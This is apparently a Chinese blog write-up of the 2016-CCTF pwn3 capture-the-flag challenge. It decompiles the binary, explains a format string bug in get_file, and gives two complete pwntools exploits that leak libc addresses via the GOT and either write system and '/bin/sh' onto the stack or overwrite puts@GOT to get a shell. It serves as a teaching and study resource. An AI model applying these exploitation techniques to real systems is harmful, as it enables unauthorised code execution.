2016-CCTF pwn3

题目地址

写在前面

文件列表中的 pwn3 是主要的 elf 文件,而为了测试 exp 的效果,我就使用本地的 libc 库了,思路是一样的,只是地址的计算会有偏差,如果小伙伴不清楚地址的计算方法的话,可以查看我的另一篇博客,这里不再细说它的原理了

本次博客将提供两个 exp ,一个是我自己做时用的,另一个是对 ctf-wiki 给出的 exp 的解读,当然,使用的 libc 都是我本地的,版本如下

>>>ldd pwn3
	linux-gate.so.1 (0xf7f62000)
	libc.so.6 => /lib32/libc.so.6 (0xf7d7d000)
	/lib/ld-linux.so.2 (0xf7f64000)

checksec 检查

拿到题目后,按照惯例,先 checksec 一下

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到 relro 开了一部分,那么 GOT 可以被修改 ,同时并没有开启 PIE ,那么 GOT 和 PLT 的地址是确定的 ,这两点在后面的两个 exp 中都会用到

逆向分析各个函数

main

把 pwn3 文件拖进 32 位的 ida 中,先查看其主函数的反汇编

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  char s1; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(&s1);
  ask_password(&s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

可以看到,先是用同一块缓冲区调用了 ask_username 和 ask_password 两个函数,然后进入一个循环,循环中首先输出提示符(print_prompt),然后获取用户的输入(get_command),根据用户命令的返回值,分别调用 put_file、show_dir、get_file、exit 四个函数

ask_username

char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

函数最大获取 40 个字节的输入,把输入的每个字符加一后把它们赋值给传进来的 dest ,并返回指向 dest 的指针,这里如果输入的长度大于等于 40 个,其实是会因为缺少 ‘\0‘ 而出问题的,而后面的函数中也存在很多同样的问题,不过这里就先忽略它们吧

ask_password

int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

函数将刚刚调用 ask_username 后得到的 dest 与 ‘sysbdmin’ 做比较,如果不想等直接退出,相等的话才有机会进入 main 之后的内容

get_command

signed int get_command()
{
  char s1; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf("%3s", &s1);
  if ( !strncmp(&s1, "get", 3u) )
    return 1;
  if ( !strncmp(&s1, "put", 3u) )
    return 2;
  if ( !strncmp(&s1, "dir", 3u) )
    return 3;
  return 4;
}

函数接受 get、put、dir 三种有效的命令,结合后面的分析可以知道,各个输入的作用如下:

  • get:根据文件名读取一个文件
  • put:写入一个文件
  • dir:查看当前的所有文件
  • 其他:退出程序

同时经过后面的分析可以知道,这里的所谓 '文件' 其实是用链表(准确地说是 ‘链栈’ 这种数据结构)构成的临时内容,并不是真实存在于磁盘上的

put_file

_DWORD *put_file()
{
  _DWORD *v0; // ST1C_4
  _DWORD *result; // eax

  v0 = malloc(0xF4u);
  printf("please enter the name of the file you want to upload:");
  get_input((int)v0, 40, 1);
  printf("then, enter the content:");
  get_input((int)(v0 + 10), 200, 1);
  v0[60] = file_head;
  result = v0;
  file_head = (int)v0;
  return result;
}

函数先使用 malloc 分配 244 个字节大小的空间,然后调用两次 get_input 函数获取输入(经过后面的分析可知,get_input 的第一个参数是写入的起始地址,第二个参数是最大字节数,第三个参数暂时不用管),并在最后的 4 个字节内写入上一块调用 put_file 时获得的地址,然后更新头指针 file_head 并返回本次分配的空间的起始地址

也就是说,每次调用 put_file ,会分配出 244 个字节大小的空间,其中前 40 个字节保存文件名,中间的 200 个字节保存文件内容,最后 4 个字节保存上一块空间的地址,而由于 file_head 是 bss 段的变量,所以初值是 0 ,这样就得到了一条链栈

get_input

signed int __cdecl get_input(int a1, int a2, int a3)
{
  signed int result; // eax
  _BYTE *v4; // [esp+18h] [ebp-10h]
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v5 + a1);
    result = fread((void *)(v5 + a1), 1u, 1u, stdin);
    if ( result <= 0 )
      break;
    if ( *v4 == 10 && a3 )
    {
      if ( v5 )
      {
        result = v5 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = ++v5;
      if ( v5 >= a2 )
        return result;
    }
  }
  return result;
}

函数在遇到回车符号或达到最大输入量(第二个参数)前,会一直向第一个参数指定的缓冲区中写入输入的内容,我觉得这里的代码对于 ‘只有回车的输入’ 的处理是比较巧妙的,可以学习一下

show_dir

int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

函数遍历前面利用 put_file 得到的链栈,并依次将它们的名字复制到大小为 1024 个字节的缓冲区中,然后输出缓冲区的内容

因为是链栈,所以后调用 put_file 得到的文件名会先被输出出来 ,这一点在 ctf-wiki 提供的 exp 中有用到,请读者记住

get_file

int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 40);
      return printf(&dest);
    }
  }
  return printf(&dest);
}

我们的主要目标,本身的功能是根据用户输入的文件名到链栈中去寻找,如果有同名的文件那么输出内容,但是因为最后将文件的内容直接 printf 出来,所以存在 格式化字符串漏洞 ,我们的攻击主要在这里施展,注意,后文所说的相当于 printf 的第 n 个参数是指除 format 参数以外的第 n 个参数,比如实际的第二个参数在这里会被说成是第 1 个参数,这样说主要是为了和 ‘%m$’ 中的 m 保持一致

exp1

from pwn import *

p = process('./pwn3')
elf = ELF('./pwn3')

p.recv()
# 这里是为了进入 main 函数的主循环
# 字符串内容通过 'sysbdmin' 逐位减一获得
p.sendline('rxraclhm')
p.recv()

# 写一个文件并读取,k 为文件名, v 为文件内容
def set_and_exec(k, v):
    p.sendline('put')
    p.recv()
    p.sendline(k)
    p.recv()
    p.sendline(v)
    p.recv()
    p.sendline('get')
    p.recv()
    p.sendline(k)

set_and_exec('getPrintf', b'%8$s'+p32(elf.got['printf']))

printf_addr = u32(p.recv()[:4])
# 这里的偏移量取决于读者的 libc ,计算方法前文已给出
system_addr = printf_addr-81488
bin_sh_addr = printf_addr+1224047

set_and_exec('getEbp', b'%70$d a')

tmp = p.recv()
ebp = int(tmp.split()[0])
esp = (ebp & 0x0FFFFFFF0) - 0x40


payload = fmtstr_payload(7, {esp+4: bin_sh_addr})
set_and_exec('setSH', payload)
p.recv()

payload = fmtstr_payload(7, {esp-4: system_addr})
set_and_exec('setSy', payload)
p.recv()

p.interactive()

这个 exp 是我自己做时使用的,大体一直在利用格式化字符串漏洞,主要思路是通过漏洞泄漏 got 表来获取 printf 的地址,然后用偏移计算出 system 和 /bin/sh 的地址,再通过漏洞获取 main 函数的 esp 的地址,最后通过漏洞在 esp+4 的位置写入 /bin/sh 的地址,在 esp-4 的位置写入 system 的地址,具体做法如下:

如前文分析,get_file 中存在着格式化字符串漏洞,而 elf 文件本身并没有开启 pie ,所以我们可以通过这里来泄漏出库函数的地址,也就是使用 ‘%m$s’ 的形式将 got 表中 printf 的实际地址输出,格式化字符串漏洞的具体原理请参考我的另一篇博客,这里我们以 dest 作为payload 的载体,可以看到它的位置在栈中为 [esp+1ch],也就是相当于 printf 的第 28/4=7 个参数,但是为了防止 got 中 printf 的地址的高八位为0导致输入被 scanf 截断,所以我们把 ‘%m$s’ 写在前面,而其中的 m 因此从 7 变为 8 ,得到 payload 为 b'%8$s'+p32(elf.got['printf']),其中 elf 为 pwn3 的 ELF 对象

我们通过主函数中的 put 指令调用 put_file ,文件名可以随意,文件内容写入上面的 payload,这样在用 get 来调用 get_file 后,最后的 printf 就会将 got 表中的内容泄漏,从而拿到 printf 的地址 ;拿到地址后,通过计算偏移可得到 system 和 /bin/sh 的地址,这里用变量 system_addr 和 bin_sh_addr 来保存

然后来拿 esp 的地址,主要思路是先泄漏 main 的 ebp 地址,然后根据它来计算出 main 的 esp 地址,具体做法如下:

通过查看 get_file 的汇编代码,可以发现 esp 被下移了 280 个字节的大小(esp 原来位置保存着 main 的 ebp 地址),那么在调用 printf 时,相当于它的第 280/4=70 个参数,所以可以通过 ‘%70$d’ 来输出,然后通过 python 的 int 函数将其转换为数字;这里要注意的是,我们不能事先知道输出的数字的位数,所以可以构造 payload 为 b'%70$d a' ,然后使用 split 来分割得到全部的数字部分

然后查看 main 的汇编代码,可以发现 esp = (ebp & 0x0FFFFFFF0) - 0x40 ,在 python 中使用该等式可得到 esp 的地址;获得 esp 后,只有在 esp+4 和 esp-4 的部分分别写入 /bin/sh 和 system 的地址即可

exp2

from pwn import *

elf = ELF('./pwn3')
libc = ELF('/lib32/libc.so.6')
p = process('./pwn3')

p.recv()
p.sendline('rxraclhm')
p.recv()

def put(k, v):
    p.sendline('put')
    p.recv()
    p.sendline(k)
    p.recv()
    p.sendline(v)
    p.recv()

def get(k):
    p.sendline('get')
    p.recv()
    p.sendline(k)
    return p.recv()

puts_got = elf.got['puts']
put(';', b'%8$s'+p32(puts_got))
puts_addr = u32(get(';')[:4])


system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
payload = fmtstr_payload(7, {puts_got:system_addr})
put('/bin/sh', payload)
get('/bin/sh')

p.sendline('dir')
p.interactive()

这个 exp 是 ctf-wiki 给出的,我修改为能够在我本机运行的版本,下面对其进行解读

该 exp 的主要思路是利用了 elf 文件只开启了部分 relro 使得 got 表可以被修改的特点,修改了 puts 函数的地址为 system 的地址,同时将文件名设置为 '/bin/sh;' ,从而在 main 函数中通过 dir 来调用 show_dir 时,最后的 puts(s) 等价于调用了 system('/bin/sh;')

这里要注意的是,我们至少要调用两次 put_file ,第一次用来获得 puts 的地址,第二次用来修改 got 中 puts 的地址为 system 的地址,而 show_dir 会将链栈中的内容全部输出,所以为了保证传递给 puts(也就是修改后的 system 函数)的参数是合理的 shell 命令,我们把第一次的文件名设置为 ';' ,把第二次的文件名设置为 '/bin/sh',这样根据先进后出的特性,最后组合出来的参数就是 '/bin/sh;' ,而在 shell 中分号用于在一行中分割多条指令,命令以分号结尾也是被允许的,因此我们可以拿到 shell

posted @ 2020-04-21 22:43  愚人呀  阅读(916)  评论(1编辑  收藏  举报